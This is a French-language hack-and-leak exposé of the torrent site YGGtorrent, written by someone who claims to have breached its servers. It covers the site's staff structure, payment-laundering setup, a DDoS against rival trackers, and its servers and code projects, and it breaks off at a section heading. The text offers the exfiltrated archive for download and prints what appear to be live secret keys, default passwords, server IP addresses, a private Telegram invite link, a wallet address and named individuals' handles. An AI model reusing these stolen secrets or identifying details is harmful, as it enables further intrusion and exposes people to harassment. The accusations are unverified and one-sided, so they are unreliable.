YGGtorrent — Fin de partie — YGGLeak

Avant-propos

En décembre 2025, YGGtorrent a déployé le "Turbo Mode", un système qui limite les comptes gratuits à 5 téléchargements par jour sauf paiement de 86 euros. Les teams de release qui ont protesté ont été bannies (Team QTZ, Team FW, et d'autres) et la shoutbox a été désactivée.

Toute l'infrastructure de YGG a été compromise : code source, bases de données du tracker, du forum, de la boutique, logs serveur, configurations, mots de passe et cookies, projets en développement, échanges privés, données personnelles. Ce qui suit est extrait directement de leurs serveurs.

L'intégralité des données exfiltrées est mise à disposition dans une archive téléchargeable archive_ygg.torrent. Les informations personnelles des membres ont été délibérément caviardées. Si cette base fuite un jour avec les données utilisateurs, ce ne sera pas de mon fait.

Pourquoi ce document ? J'aurais pu couper court, balancer la base de données, déclarer YGG mort et disparaître. Je pense que c'était la mauvaise approche, pour deux raisons.

La première : YGG représente environ 90 % des revenus de Destroy/Oracle et Yggflop. Face à un simple dump anonyme sans contexte, ils auraient tout fait pour minimiser l'ampleur de la compromission, un « problème technique », un mec qui bluff, rien de grave. Les questions auraient été censurées, les curieux bannis, et le discours officiel serait resté : il ne s'est rien passé. Ce document existe pour que ce scénario ne soit pas possible.

La seconde : maintenant que ces données sont publiques, des gens dont c'est le métier vont pouvoir y jeter un œil, collecter des preuves supplémentaires et peut-être engager des poursuites contre les responsables du site, mais aussi contre les hébergeurs ou d'autres tiers identifiés. Certains de ces services vont probablement découvrir YGG à cette occasion. Organiser les éléments collectés et les remettre en contexte, c'est leur faciliter le travail. Et puis il y a vous : ceux qui avez été censurés, bannis, méprisés, piégés dans un système conçu pour vous faire payer. Ceux qui, comme moi, ont des valeurs fondamentalement opposées à ce que YGG est devenu. Ce document est aussi le vôtre, servez-vous-en.

L'organisation

La table users du tracker, les tables xf_user, xf_ip et xf_admin du forum, les 25 000+ messages privés du staff et les 1,3 million d'actions de modération permettent de reconstituer l'organigramme complet de YGG, la chaîne de commandement réelle, et de localiser chaque membre.

Sur les modérateurs : les millions générés par YGG finissent dans la poche d'Oracle et YggFlop. Les modérateurs travaillent pour des miettes (voire gratuitement). Pour cette raison, leurs IPs, emails et données personnelles ne seront pas publiés ici, seuls pseudos et localisations approximatives. Ce n'est pas de la gentillesse, c'est un sursis. Les données existent. Avoir été exploité par la hiérarchie n'efface pas des années à cautionner le système.

L'organigramme

Oracle donne les directives techniques à YggFlop, qui les exécute et gère le staff au quotidien. Oracle ne communique avec personne d'autre. Dans l'ensemble des messages privés du tracker, son seul interlocuteur au sein du staff est YggFlop. Le compartimentage est intéressant : aucun modérateur n'a jamais échangé un message direct avec Oracle.

Les modérateurs — un staff bénévole sous contrôle

Tout le staff est bénévole. Chaque modérateur interrogé le confirme. Dom0552, le deuxième plus actif en volume de conversations : "Et je ne suis pas payé. Totalement bénévole." YggFlop refuse de répondre quand on lui pose la question de sa propre rémunération. Les modérateurs gèrent des centaines de milliers d'actions, des milliers de conversations de support, les signalements, les bans, gratuitement, pendant que l'infrastructure de paiement génère des centaines de milliers d'euros par mois.

Les règles du staff

À chaque recrutement, YggFlop envoie les règles par message privé :

1. Ne jamais dévoiler au dehors ce qu'on voit dans le staff
2. "On ne communique jamais sur le staff", réponse standard à toute question externe
3. Ne pas poser de questions sur l'administration (comprendre : Oracle)
4. Ne jamais s'engueuler entre membres, cause de renvoi immédiat
5. Telegram obligatoire pour la communication staff
6. Groupe privé Telegram BLABLAROOM (https://t.me/+0W1AvzqXYdUwNjU0)

La règle 3 : les modérateurs n'ont pas le droit de poser des questions sur Oracle. Et en effet, ça se vérifie dans les données.

Communication et faux numéros

Le staff communique exclusivement via Telegram. Pour s'inscrire, un numéro de téléphone est requis, et YggFlop fournit des faux numéros de téléphone via ce qu'il appelle "le service web de YGG". Les modérateurs n'ont pas besoin d'utiliser leur vrai numéro. Bar666 a d'ailleurs perdu l'accès à son ancien compte Telegram quand sa SIM prépayée a expiré, il utilise désormais @Bar666666.

L'email de support donné aux utilisateurs : [email protected].

Recrutement

Le processus est systématique : un modérateur (souvent Macha64) repère un candidat actif sur le forum → il en parle à YggFlop → YggFlop envoie les règles par MP → le candidat rejoint le groupe Telegram BLABLAROOM. Le turnover est réel : Jocker03 parti en novembre 2025, Zitoune69 parti puis revenu, BoutrosBoutros renvoyé puis repris.

Qui fait tourner le site

Les 1,3 million d'actions de modération se répartissent de façon très inégale. Cinq personnes assurent l'essentiel du travail :

Ces cinq comptes totalisent 73% de toutes les actions de modération. Le reste du staff, une vingtaine de personnes, se partage les 27% restants.

Macha64 (rang modérateur) produit plus de travail que tous les supermods sauf Bar666. C'est elle qui repère les candidats modérateurs, forme les uploaders et gère une partie du support.

Le business

Derrière ses allures de "site de partage", YGG est une machine à cash.

Vue d'ensemble

Ces chiffres ne sont pas une surprise pour ceux qui suivent. Dès 2018, un ancien modérateur d'YGG estimait les revenus entre 3 et 5 millions d'euros par an. SysKB estime aujourd'hui le chiffre à plus de 6 millions d'euros annuels, pour des coûts serveur de à peine 50 000 euros. Sur Reddit, les utilisateurs font le calcul eux-mêmes :

"On parle réellement de plusieurs millions de revenus par an. Ils ne se cacheraient pas à l'autre bout de la planète s'ils avaient pas peur pour eux, surtout depuis le procès de T411. Ça leur fait des tunes oui, ça leur fait aussi une amende de 635 millions d'euros." — u/monsieur_ari, février 2025

"C'est de la mafia organisée loin de l'esprit du 'partage'. Quand ils tomberont et que tu verras apparaître dans la presse les montants qu'ils ont brassé en millions d'euros, tu regretteras peut être un peu tes achats." — u/Careless-8294, août 2024

Le x3 sur les revenus coïncide avec le Turbo Mode. Les gens ont parlé d'exit scam, mais le serveur de pré-production raconte autre chose. On y trouve 7 projets en développement actif : une réécriture complète du site en SvelteKit ("TheRock", 170+ builds jusqu'en janvier 2026), un projet de débrideur "CloudTorrent", warezfr.com (un forum sur le modèle des wareziens), CocoTV (IPTV), une instance Mastodon (yeeti.io), et des recherches de nouveaux domaines sur Njalla encore le 9 janvier 2026. C'est pas un exit scam. C'est une opération qui s'installe dans la durée, et qui a simplement décidé de presser le citron un peu plus fort.

Infrastructure de paiement

Le cœur du système est CardsShield, un plugin WooCommerce vendu par Nguyen Huu Tien ($800/mois, Telegram @tiennh). Il automatise la rotation entre des dizaines de domaines proxy déguisés en boutiques e-commerce.

Le flux : clic "Faire un don" → token jetable (15 min, usage unique) → redirection vers un domaine aléatoire (calcilux.shop, pocarilux.shop, techcomtee.shop...) → PayPal ou Stripe voit un achat dans une boutique de t-shirts, pas un paiement à YGG.

36+ domaines proxy identifiés (70+ en comptant les réserves), dont les 10 plus utilisés :

La rotation est automatique : un cron WordPress tourne chaque minute. En cas de blocage PayPal, un mécanisme de force rotate bascule instantanément. Le code CardsShield Stripe enregistre un statut WooCommerce wc-cs-hidden pour masquer les commandes.

8 processeurs de paiement coexistent : CardsShield PayPal, CardsShield Stripe, PayGate.to (22 sous-passerelles, "all high risk business models accepted, merchants stay anonymous"), OxaPay, NowPayments, Malum, Sellix, Snappy Payment, ObliqPay. Les paiements CB transitent par enigmastocks.com, un site façade enregistré à Charlestown, Saint-Kitts-et-Nevis (paradis fiscal).

Sur le même serveur boutique (185.132.134.125), on trouve aussi gopay.network, un site IPTV. Marmota.tv, King-IPTV, TerraIPTV : c'est le même pipeline. Les fichiers CocoTV reçus par Destroy sur Telegram confirment que l'IPTV est une branche de revenus qu'ils exploitent.

Toutes les transactions PayPal (536 IPN) sont dirigées vers : [email protected]. Les notifications WooCommerce vont à [email protected] (compte Microsoft enregistré en Belgique sous le faux nom "Kenneth Thompson").

Système anti-investigation

La table payment_blacklist (1 437 entrées) :

• 894 entrées bloquent les fuseaux horaires non-européens → paiement crypto uniquement (avec KYC)
• 11 entrées détectent l'extension Chrome link-redirect-trace (un outil pour tracer les redirections de paiement) et blacklistent ses utilisateurs.
• 10 entrées bloquent les comptes admin/mod pour éviter des traces financières internes

À noter aussi : la blacklist d'emails à l'inscription bloque laposte.fr, laposte.net, aol.com, gmx.com, yandex.com et des centaines de domaines jetables, mais autorise protonmail, hotmail, yahoo, icloud.

L'argent sale

Rien qu'en 2025, entre 5 et 8,5 millions d'euros ont transité par l'infrastructure de paiement de YGG. L'argent ne reste pas sur PayPal ou Stripe, il est immédiatement dispersé à travers plusieurs couches d'obscurcissement.

Le circuit de blanchiment

Le schéma est le suivant : les paiements des utilisateurs transitent par des dizaines de faux sites e-commerce (les "shields" CardsShield), arrivent sur PayPal/Stripe sous l'apparence d'achats de t-shirts, puis sont convertis en crypto via PayGate.to et d'autres processeurs. Une fois en crypto, les fonds sont mélangés via Tornado Cash pour couper la trace, puis retirés vers des wallets anonymes.

Tornado Cash, pour ceux qui ne connaissent pas : c'est un smart contract Ethereum qui fonctionne comme un pot commun. Vous déposez des ETH d'un côté, vous recevez une "note" secrète (une clé cryptographique). Plus tard, vous présentez cette note pour retirer le même montant depuis une autre adresse, sans aucun lien on-chain entre le dépôt et le retrait. Le pot mélange les fonds de tous les déposants, impossible de tracer qui a retiré quoi.

Des notes de dépôt Tornado Cash ont été trouvées sur le serveur de pré-production. Parmi elles, des notes déjà retirées par Destroy lui-même : 2 notes de 1 ETH et 2 notes de 10 ETH, soit environ 22 ETH (~$42 000) déjà blanchis via le mixer. Ce chiffre ne représente pas le total blanchi, c'est uniquement ce qui a été retrouvé sur la machine de pré-prod de YGG (que Destroy utilise comme son PC perso au passage...). Les millions qui transitent par CardsShield, PayGate.to et les 8 processeurs de paiement empruntent le même type de circuit.

Conversion USDT vers Monero — ChangeNOW

L'historique Chrome du 16 décembre 2025 révèle 3 transactions ChangeNOW en une minute, convertissant des USDT (stablecoin traçable) en Monero (cryptomonnaie intraçable) :

~$7 785 convertis en Monero en une seule session.

Monero est anonyme : contrairement à Ethereum ou Bitcoin, les transactions Monero sont cryptographiquement opaques. Une fois les fonds en XMR, la trace s'arrête.

Wallet PayGate.to

Le wallet 0x07dC770c0a54285C2Fa8CB95F2F249a923a9B6D8 totalise 76 transactions entre octobre 2025 et janvier 2026. Dernière transaction : envoi de 27,58 ETH (~53 000 dollars). Les fonds transitent ensuite par des bridges cross-chain (Across Protocol) pour passer d'une blockchain à une autre, une couche d'obscurcissement supplémentaire.

Saint-Kitts-et-Nevis

La passerelle CB enigmastocks.com est enregistrée à Charlestown, Saint-Kitts-et-Nevis (paradis fiscal). Se présente comme "Stock Research for the people", traite en réalité 54 776 transactions CB pour YGG. Conditions d'utilisation : "pas de remboursement si achat via tiers".

Le DDoS

DDoS contre la-cale.space et sharewood.tv

YGG ne se contentent pas d'exploiter leurs utilisateurs, ils attaquent aussi la concurrence. La Cale et Sharewood sont des trackers torrent francophones présentés comme des alternatives à YGG. Et YGG les DDoS.

Script generate-tracker-url.js utilisant l'API du service de DDoS stresscat.ru :

L'historique PowerShell confirme 3 exécutions de node .\generate-tracker-url.js.

stresscat.ru est un service de DDoS-for-hire russe. Le script génère des URLs d'announce BitTorrent pointant vers la cible, une technique d'amplification qui multiplie le volume d'attaque. Le fichier de 46 Mo d'URLs générées et les 3 exécutions dans l'historique PowerShell confirment que ces attaques ont bien eu lieu.

L'infrastructure

YGG repose sur 4 serveurs principaux, répartis entre la production, le pré-production et le paiement. Vue d'ensemble reconstituée à partir des configurations serveur extraites :

Le tracker — production

Le serveur de production (62.112.11.32, Linux) héberge un XBT tracker custom dont le code source fait 2,9 Go. Le tracker tourne derrière deux domaines : tracker.p2p-world.net et connect.maxp2p.org, les noms que votre client torrent contacte à chaque téléchargement. Les emails système partent de [email protected] via Resend SMTP.

Le site lui-même est du PHP custom (CodeIgniter 3), couplé à un forum XenForo 2.0.6 avec les extensions Siropu (Shoutbox, EasyUserBan) et ThemeHouse UI.X. La base de données tourne sur un serveur dédié (212.8.249.144, MariaDB 10.3.39), c'est elle qui contient les 6,6 millions de comptes, les transactions, les logs de modération, et tout le reste.

XBT Tracker — code source C++ (2,9 Go)

Fork custom du tracker open-source XBT, modifié pour YGG. Le cœur est en C++, l'interface web en PHP, et des scripts Node.js ont été ajoutés pour la génération de passkeys signées et la détection d'abus.

xbt/
├── Tracker/                          ← cœur du tracker
│   ├── tracker.cpp / tracker.h           gestion des peers, announces, scrapes
│   ├── connection.cpp / connection.h     connexions TCP/UDP clients
│   ├── transaction.cpp / transaction.h   traitement requetes announce/scrape
│   ├── tracker_input.cpp / .h            parsing HTTP entrant
│   ├── config.cpp / config.h             configuration runtime
│   ├── xbt_tracker.conf                  fichier config production
│   ├── xbt_tracker.sql                   schéma BDD tracker
│   └── htdocs/                           interface web PHP
│       ├── xbt_common.php
│       ├── xbt_config.php
│       ├── xbt_files.php
│       └── xbt_torrent_pass_version.php
├── misc/                             ← bibliothèque partagée
│   ├── database.cpp / database_old.cpp   accès MySQL (2 versions)
│   ├── sql_query.cpp                     requêtes SQL
│   ├── socket.cpp / socket.h             sockets réseau
│   ├── sha1.cpp / sha1.h                 hash SHA-1 (info_hash torrents)
│   ├── bt_torrent.cpp / .h               parsing fichiers .torrent
│   ├── bt_tracker_account.cpp / .h       gestion comptes tracker
│   ├── bt_tracker_url.cpp / .h           URLs d'announce
│   ├── bvalue.cpp / .h                   parseur Bencode
│   ├── alerts.cpp / .h                   système d'alertes
│   ├── stream_reader.cpp / .h            lecture flux binaire
│   ├── stream_writer.cpp / .h            ecriture flux binaire
│   ├── virtual_binary.cpp                buffers mémoire
│   ├── xcc_z.cpp                         compression zlib
│   ├── xif_key.cpp / xif_key_r.cpp      sérialisation clés
│   ├── CMakeLists.txt / Makefile         build system
│   └── windows/                          support Windows NT service
└── *.h                               ← headers racine (bstream, cfile, data_ref,
                                        profiler, sql_query, sql_result, string_view)

Une version étendue (xbt2/) ajoute une couche PHP (Engine.php, yggconfig.php) et des outils Node.js :

xbt2/
├── Engine.php                    moteur PHP YGG
├── index.php                     point d'entrée
├── config/yggconfig.php          configuration YGG
├── Tracker/                      même cœur C++ que xbt/
├── htdocs/                       interface web étendue
│   ├── client_backend/           API backend
│   ├── client_web_interface/     interface web + images
│   ├── client_command_line_interface/
│   └── tracker/
├── analyze_abuse.js              détection d'abus (Node.js)
├── generate.js                   génération de passkeys
├── generate_signed_announce.js   announces signées
├── test_udp.js                   tests UDP tracker
└── make.sh                       script de build

Application web — CodeIgniter 3 (production)

L'application PHP qui fait tourner le site YGG. 84 fichiers, dont deux controllers malveillants documentés plus loin dans cet article.

yggapp/
├── controllers/
│   ├── Engine.php                moteur de recherche / torrents
│   ├── Auth.php                  authentification (login, register, reset)
│   ├── User.php                  profils, downloads, settings
│   ├── Ajax.php                  endpoints AJAX
│   ├── Api.php                   API REST
│   ├── Donation.php              système de "dons" (paiements)
│   ├── Payment_api.php           callbacks paiement (IPN)
│   ├── Manager.php               panel admin / modération
│   ├── Forum_engine.php          intégration XenForo
│   ├── Invite.php                système d'invitations
│   ├── Reseller.php              revente de comptes
│   ├── Team.php                  gestion des teams d'upload
│   ├── User_messaging.php        messagerie privée
│   ├── Security.php          ←   ENREGISTRE CARTES BANCAIRES
│   ├── Web3stats.php         ←   SCAN LES WALLETS CRYPTO
│   └── Wiki.php
├── models/
│   ├── Torrents_model.php        requêtes torrents
│   ├── Users_model.php           requêtes utilisateurs
│   ├── Users_inbox_model.php     messagerie
│   ├── Manager_model.php         admin
│   └── Feed_model.php            flux RSS
├── config/
│   ├── database.php              connexion MariaDB
│   ├── routes.php                routing URL
│   ├── redis.php                 cache Redis
│   ├── yggconfig.php             config YGG (clés, domaines)
│   └── recaptcha.php
├── lib_Sphinx.php                recherche Sphinx plein-texte
├── lib_TorrentRW.php             lecture/écriture .torrent
├── lib_Ygg.php                   bibliothèque core YGG
├── lib_Notify.php                notifications
├── TorrentParser.php             parsing metadata torrent
├── MY_Controller.php             controller de base
├── payment_helper.php            helpers paiement
└── maintenancepage.html          page de maintenance

Base de données — MariaDB 10.3.39 (40 tables)

Schéma yggis reconstitué à partir du dump SQL. 40 tables, dont les principales :

yggis (MariaDB 10.3.39)
│
├── utilisateurs
│   ├── users                 6 629 484 comptes (id, email, password, uploaded,
│   │                         downloaded, ratio, torrent_pass, classe, avatar...)
│   ├── users_fp              fingerprints navigateur
│   ├── users_tz              fuseaux horaires (+ flag adult_content_banned)
│   ├── sessions              sessions actives
│   └── flagged_users         utilisateurs signalés
│
├── torrents
│   ├── torrents              1 126 758 torrents (info_hash, seeders, leechers,
│   │                         category, uploader, size, description...)
│   ├── torrent_edits         historique modifications
│   ├── categories            arborescence catégories (Film, Audio, eBook...)
│   ├── category_fields       champs custom par catégorie
│   └── locked_torrents       torrents verrouillés
│
├── tracker XBT
│   ├── xbt_files             fichiers actifs sur le tracker C++
│   ├── xbt_files_users       peers par torrent (user ↔ torrent ↔ IP)
│   ├── xbt_announce_log      log des announces (chaque connexion client)
│   ├── xbt_config            configuration tracker
│   └── xbt_deny_from_hosts   IPs bannies du tracker
│
├── paiements
│   ├── orders                249 703 commandes
│   ├── orders_tracking       suivi par domaine proxy
│   ├── payments              transactions (PayPal, Stripe, crypto)
│   ├── payment_blacklist     1 437 règles de blocage
│   └── virwox_transactions   anciens paiements VirWoX (exchange autrichien
│                              Second Life/Bitcoin, fermé en janvier 2020)
│
├── moderation
│   ├── actions_staff         634 150 actions de modération
│   ├── reports               signalements
│   ├── notes                 notes internes
│   └── notes_comments        commentaires sur notes
│
├── social
│   ├── messages              messages privés
│   ├── messages_replies      réponses
│   ├── messages_users        participants
│   ├── messages_auto         messages automatiques
│   ├── notifications         système de notifications
│   ├── comments              commentaires torrents
│   ├── invites               invitations
│   └── news                  actualités du site
│
├── divers
│   ├── stats                 statistiques globales
│   ├── settings              paramètres site
│   ├── requests              demandes de torrents
│   ├── web3_stats            collecte wallets crypto
│   └── sphinx_index_meta     metadata index Sphinx

Le staging — pré-production

Le serveur 188.253.108.198 (Windows Server 2019, XAMPP) fait office de pré-prod : c'est là que le code est testé avant déploiement. On y trouve le code source complet du tracker, les configs Sphinx, Apache, PHP, Redis, et surtout les données de Destroy : mots de passe, documents, cookies etc.

C'est aussi là qu'on trouve les traces de 8 projets en cours de développement :

• API YGG : l'API promise aux utilisateurs fin 2025, jamais livrée. Code source complet. Détails ci-dessous.
• YGG v3 (SvelteKit) : réécriture complète du site avec un stack moderne. Détails ci-dessous.
• CloudTorrent (débrideur) : service de débridage auto-hébergé. Détails ci-dessous.
• TheRock (CodeIgniter 4) : autre réécriture du site, développement actif jusqu'en janvier 2026. Détails ci-dessous.
• RageTorrent : nouveau tracker torrent, maquettes trouvées sur le serveur de pré-production.
• warezfr.com : nouveau site, domaine acheté sur Njalla en ETH le 27/12/2025, serveur dédié (169.40.0.130), logos commandés via Telegram, promu sur planete-warez.net comme "plateforme d'échange et partage d'invitations pour les trackers FR". Que Destroy administre warezfr ne fait aucun doute : des accès SSH vers le serveur du site apparaissent dans les sessions sauvegardées de FileZilla sur la machine de pré-prod et l'historique du navigateur de Destroy montre l'achat du domaine sur le registrar njal.la. Question ouverte : qui est derrière ce compte Reddit qui faisait la promotion de warezfr en décembre 2025, tout en dénigrant YGG ? Et pourquoi le site est-il offline aujourd'hui ? Je n'ai pas les réponses.

• CocoTV : fichiers SVG reçus via Telegram (CocoTV_SVG.zip). Nouveau projet non documenté ailleurs, probablement un service de streaming/IPTV (cf. gopay.network, l'autre source de revenus IPTV).
• yeeti.io : instance Mastodon propre. Détails ci-dessous.

API YGG — Express.js (code source complet)

C'est l'API promise aux utilisateurs fin 2025 mais jamais livrée. Construite avec Express.js, JWT et mysql2, les restrictions Turbo Mode sont intégrées dans le code : timer 30s et limite de 5 téléchargements/jour pour les non-abonnés. Le code source révèle plusieurs choses intéressantes.

Le Turbo Mode en dur dans le code :

// config.js — restrictions de téléchargement
downloadTimerMinUserId: parseInt(process.env.DOWNLOAD_TIMER_MIN_USER_ID) || 1000000,
downloadTimerExemptRanks: process.env.DOWNLOAD_TIMER_EXEMPT_RANKS
  ? JSON.parse(process.env.DOWNLOAD_TIMER_EXEMPT_RANKS)
  : [1, 2, 3],   // admins et modos exempts
downloadTimerSeconds: parseInt(process.env.DOWNLOAD_TIMER_SECONDS) || 30,
dailyDownloadLimit: parseInt(process.env.DAILY_DOWNLOAD_LIMIT) || 5

Traduction : seuls les comptes avec un ID >= 1 000 000 (les utilisateurs récents) sont soumis au timer de 30 secondes et à la limite de 5 téléchargements/jour. Les rangs 1, 2 et 3 (admins, modérateurs) ne sont jamais restreints. Le système vérifie aussi premium_until, si vous avez payé, pas de timer.

Des clés en clair dans les fichiers de config :

SECRET_KEY="hAb0xu&#O2pYevZ65Rid9NuhC09WD8"
ANNOUNCE_SIGNATURE_KEY=xf7mTOvmX2tHeXDz2CkkmJddUdia8wu6
JWT_SECRET=changez_cette_clé_secrète_en_production_2026

La SECRET_KEY est la clé utilisée pour hasher les mots de passe. L'ANNOUNCE_SIGNATURE_KEY signe les URLs d'announce, c'est elle qui empêche le partage de fichiers .torrent entre utilisateurs. Les deux sont en clair dans un fichier .env versionné.

6,6 millions de mots de passe, dont une partie encore en MD5 :

// user.service.js — vérification des credentials
if (!user.salt) {
  // Si pas de salt, ancien format MD5
  const md5Hash = crypto.createHash('md5').update(password).digest('hex');
  if (user.pass === md5Hash) {
    return { ...user, needsUpgrade: true };
  }
} else {
  // Nouveau format SHA512 + salt
  const toHash = user.salt + password + config.secretKey;
  const sha512Hash = crypto.createHash('sha512').update(toHash).digest('hex');
}

Deux systèmes de hash coexistent : MD5 sans salt (ancien format) et SHA-512 avec salt. Le flag needsUpgrade: true prouve qu'ils savent que les anciens hashes sont compromis, mais n'ont jamais forcé la migration. Tous les comptes créés avant le changement de système ont leur mot de passe stocké en MD5 pur, cassable en quelques secondes.

Arborescence de l'API :

ygg-api/
├── server.js                 point d'entrée Express
├── config.js                 clés, trackers, limites Turbo Mode
├── database.js               connexion MySQL
├── dotenv.txt                clés en clair (SECRET_KEY, JWT, announce)
├── auth.controller.js        login → JWT token
├── auth.middleware.js         vérification JWT + rang admin
├── auth.routes.js
├── download.controller.js    téléchargement .torrent avec timer
├── download.service.js       Turbo Mode : timer 30s, limite 5/jour
├── download.routes.js
├── torrent.controller.js     info torrent, commentaires
├── torrent.service.js        requêtes BDD torrents
├── torrent.routes.js
├── user.controller.js        profil utilisateur
├── user.service.js           auth MD5/SHA512, profil, ratio
├── user.routes.js
├── error.middleware.js
├── routes_index.js
├── database_setup.sql        table user_download_limits
├── package.json              "ygg-api" v1.0.0
├── postman_collection.json   collection de tests Postman
├── test-api.js               tests automatisés
├── test-download.js          tests téléchargement
└── readme.md                 documentation complète (600 lignes)

YGG v3 — réécriture SvelteKit (code source complet)

Le projet le plus ambitieux : une réécriture complète du site sous le nom interne "ygg-torrent" v4.0.0. Frontend SvelteKit 2 avec TailwindCSS et composants Shadcn, backend Express.js avec Prisma ORM sur MySQL.

Le schéma Prisma révèle l'architecture prévue : système d'invitations avec expiration, bounties sur les demandes de torrents, workflow de modération (PENDING → APPROVED → REJECTED), uploads anonymes, support NFO/media info. Les URLs de torrents utilisent des UUIDs au lieu d'IDs séquentiels, mesure anti-scraping.

Même problème de mots de passe que le site actuel : le code gère deux formats : MD5 sans salt (ancien) et SHA-512 + salt (nouveau), avec un flag needsUpgrade: true pour les anciens comptes. Session secret par défaut : "your-super-secret-session-key-change-in-production".

Le fichier de seed (prisma/seed.js) : compte admin admin / admin123, compte demo demo / user123, et des torrents pré-peuplés (Oppenheimer 4K, Baldur's Gate 3, Adobe Photoshop 2024, The Last of Us HBO, discographie Daft Punk).

yggv3/
├── backend/                         ← serveur Express.js v4.0.0
│   ├── prisma/
│   │   ├── schema.prisma                modèles complets (User, Torrent, Comment,
│   │   │                                Request, Bookmark, Message, Warning, Tag...)
│   │   └── seed.js                      seed avec contenu pirate
│   ├── src/
│   │   ├── controllers/                 auth, torrents, user, home
│   │   ├── routes/                      auth, torrents, user, home
│   │   ├── middleware/                  auth, upload, errorHandler
│   │   ├── services/                    logique métier
│   │   ├── config/                      app.js (ratio min 0.3, freeleech, pagination)
│   │   └── utils/
│   ├── views/                           templates EJS
│   └── server.js                        point d'entrée
│
├── src/                             ← frontend SvelteKit 2.0
│   ├── lib/components/
│   │   ├── ui/                          button, input, card, badge, modal
│   │   └── auth/                        LoginForm, RegisterForm
│   └── routes/
│       ├── +layout.svelte
│       ├── +page.svelte                 homepage
│       ├── top/                         top 100
│       ├── series/[id]/                 détails série
│       └── torrent/[id]/                détails torrent
│
├── package.json                     SvelteKit 2.0, TailwindCSS 3.4, Vite 5.0
├── svelte.config.js
├── tailwind.config.js
└── vite.config.js

CloudTorrent — service de débridage auto-hébergé

Un service de débridage maison baptisé "cloudtorrent" v2.0.0. Contrairement à AllDebrid ou RealDebrid, celui-ci n'utilise aucune API tierce, tout est auto-hébergé avec qBittorrent comme moteur de téléchargement.

L'architecture : l'utilisateur soumet un lien magnet → le backend le parse et l'envoie dans une file BullMQ → un worker qBittorrent télécharge le torrent → la progression est streamée en temps réel via SSE (Server-Sent Events) → un token nanoid unique est généré pour le téléchargement direct (expire après 24h).

Le docker-compose.yml contient TZ=Europe/Budapest, un indicateur géographique rare. Aucun autre fichier du leak ne fait référence à la Hongrie. Soit l'opérateur réside à Budapest, soit il y a un lien avec un prestataire hongrois.

Pas de code de monétisation pour l'instant, le service n'est pas encore commercialisé. Secrets par défaut : SESSION_SECRET=supersecretkeychangeinproduction, qBittorrent admin/adminadmin.

cloudtorrent/
├── docker-compose.yml           qBittorrent + Redis + app (TZ=Europe/Budapest)
├── src/
│   ├── server.js                Express 5.2, session, SSE
│   ├── config/                  env, qbittorrent, redis
│   ├── services/
│   │   ├── torrentService.js    parsing magnet, ajout qBittorrent
│   │   ├── qbitService.js       API qBittorrent (login, ajout, progression)
│   │   └── downloadService.js   génération token nanoid, expiration 24h
│   ├── queues/
│   │   ├── torrentQueue.js      file BullMQ
│   │   └── torrentWorker.js     worker de téléchargement
│   ├── routes/                  magnet, status, download
│   └── middleware/              auth, errorHandler
├── public/                      interface web
└── package.json                 "cloudtorrent" v2.0.0

TheRock — réécriture CodeIgniter 4 (configs uniquement)

Un autre projet de réécriture, cette fois en CodeIgniter 4 avec PHP 8.1+. Seuls les fichiers de configuration ont été capturés, pas de code source PHP.

Ce qu'on sait : le composer.json indique CI4 ^4.0 avec ramsey/uuid (même approche UUID que le v3 Svelte) et PHPUnit. Le frontend utilise Vite 7.3 et Tailwind CSS 4, des versions très récentes, signe d'un développement actif.

Les paliers de prix sont identiques au site actuel : 14.99 / 25.99 / 49.99 / 85.99 EUR, confirmation que TheRock est bien une réécriture du même site. Le .env utilise la base de données therock avec des noms de domaine placeholder (Mydomain / Mondomaine).

L'historique PowerShell montre 170+ cycles de build/serve, avec un développement actif jusqu'au 23 janvier 2026. Des prototypes frontend existent dans un dossier séparé (02k_frontend_templates/) : thème sombre avec accent vert menthe, police Outfit.

Deux réécritures en parallèle (SvelteKit et CodeIgniter 4) : Destroy multiplie les prototypes à coups de vibecoding, cohérent avec l'historique Chrome du serveur (claude.ai, chatgpt.com, cursor.com, deepseek.com).

La boutique — paiement

Le serveur 185.132.134.125 (CloudLinux/CPanel) héberge trois sites :

• secure.yggboutique.com — la boutique WooCommerce principale, avec 8 plugins de paiement
• rakaxa.net — storefront proxy PHP 8.0 pour la rotation des paiements Stripe/PayPal
• gopay.network — site IPTV séparé, source de revenus parallèle

Deux serveurs "IRC" — qui n'en sont pas

Deux IPs (31.220.2.198 et 31.220.0.115) exposent un port 6667, traditionnellement associé à IRC. Sauf que ce n'est pas de l'IRC : c'est du SSH sur un port standard IRC, probablement pour passer sous le radar des scans réseau mais je n'ai pas fouillé plus que ça.

Derrière le premier (31.220.2.198), un serveur bare metal sous CentOS 7 : 24 cœurs, 48 Go de RAM, ~1 To de disque, en service continu depuis 945 jours sans interruption. Un dashboard Netdata (v1.32) tourne sur le port 19999, totalement ouvert, sans authentification, exposant l'intégralité des métriques système : CPU, RAM, disque, processus, trafic réseau. Le reverse DNS pointe vers discoveryplanets.com, un domaine aujourd'hui expiré. Le tout est hébergé chez KoDDoS (Amarutu Technology), un hébergeur bulletproof basé à Hong Kong.

Le second (31.220.0.115), même hébergeur, même sous-réseau, mais tous les ports sont filtrés.

yeeti.io — instance Mastodon privée

YGG opère sa propre instance Mastodon à l'adresse yeeti.io. Compte officiel : @[email protected]. Compte admin : @[email protected].

L'instance a été annoncée dans la news #33 du site (mai 2024, publiée par UID 1680252 / YggFlop) : "Afin de rester informé(e) de nos actualités, suivez-nous sur notre page officielle : Yeeti (Mastodon)". Avant ça, YGG utilisait un compte sur mamot.fr (@YggTorrent), une instance publique qu'ils ne contrôlaient pas. Après la suspension de leur compte Twitter (2x), ils ont décidé d'héberger leur propre réseau social, là où personne ne peut les censurer.

Destroy est l'administrateur de l'instance. L'email [email protected] apparaît 9 fois dans le Chrome autofill du serveur de pré-production. L'historique de navigation montre l'accès au dashboard admin Mastodon : settings, appearance, rules, announcements, webhooks, relay.

Censure interne : les logs d'administration révèlent des suspensions massives de dizaines d'utilisateurs critiques envers @ygg. L'ironie : après avoir quitté Twitter pour "censure", YGG fait exactement la même chose sur sa propre plateforme.

L'historique Google du 15 décembre 2025 montre l'installation de l'instance : install mastodon on ubuntu 24.04 docker (5 recherches), replace mastodon logo, change mastodon logo, mastodon theme, smtp email mastodon. Les recherches révèlent aussi la source d'inspiration : truth social mastodon, l'opérateur s'est inspiré de Truth Social (le réseau social de Donald Trump, lui-même un fork de Mastodon). Les logos ont été commandés à un designer externe et reçus via Telegram (Yeeti Logo Files.zip).

Le code source

Chaque point ci-dessous s'appuie sur du code et des données extraits de leurs serveurs.

Fingerprinting de wallets crypto — sci.js + Web3stats.php

